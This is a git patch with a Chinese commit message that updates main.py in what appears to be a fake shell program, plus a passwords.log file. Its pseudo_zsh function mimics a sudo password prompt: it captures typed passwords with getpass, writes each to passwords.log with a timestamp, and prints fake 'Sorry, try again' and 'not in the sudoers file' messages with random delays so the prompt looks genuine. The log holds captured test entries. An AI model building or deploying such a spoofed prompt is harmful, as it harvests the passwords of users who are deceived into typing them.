From 93a328bd6a7cc569bb0a2ac20e83228c098cea45 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Sun, 6 Apr 2025 22:27:21 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20main.py=20=E4=B8=AD?= =?UTF-8?q?=E7=9A=84=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E9=87=8D=E5=91=BD=E5=90=8D=E5=8F=98?= =?UTF-8?q?=E9=87=8F=E4=BB=A5=E6=8F=90=E9=AB=98=E5=8F=AF=E8=AF=BB=E6=80=A7?= =?UTF-8?q?=EF=BC=8C=E5=B9=B6=E5=9C=A8=E5=AF=86=E7=A0=81=E6=97=A5=E5=BF=97?= =?UTF-8?q?=E4=B8=AD=E8=AE=B0=E5=BD=95=E5=BD=93=E5=89=8D=E6=97=B6=E9=97=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 6 +++--- passwords.log | 4 ++++ 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/main.py b/main.py index 9121948..bc4e27c 100644 --- a/main.py +++ b/main.py @@ -78,12 +78,12 @@ def pseudo_zsh(): # 伪造 sudo 密码输入并记录 if args[0] == 'sudo': - flight = True + flight1 = True for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") - flight = False + flight1 = False break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 @@ -91,7 +91,7 @@ def pseudo_zsh(): delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 print("Sorry, try again.") - if flight: + if flight1: print("sudo: 3 incorrect password attempts") # 提示错误次数 continue diff --git a/passwords.log b/passwords.log index f1f18ad..a300bbf 100644 --- a/passwords.log +++ b/passwords.log @@ -20,3 +20,7 @@ [2025-04-06 22:19:26] 1234 [2025-04-06 22:19:31] 1234 [2025-04-06 22:19:35] 1234 +[2025-04-06 22:24:07] 00 +[2025-04-06 22:24:15] 00 +[2025-04-06 22:24:17] 00 +[2025-04-06 22:24:18] 00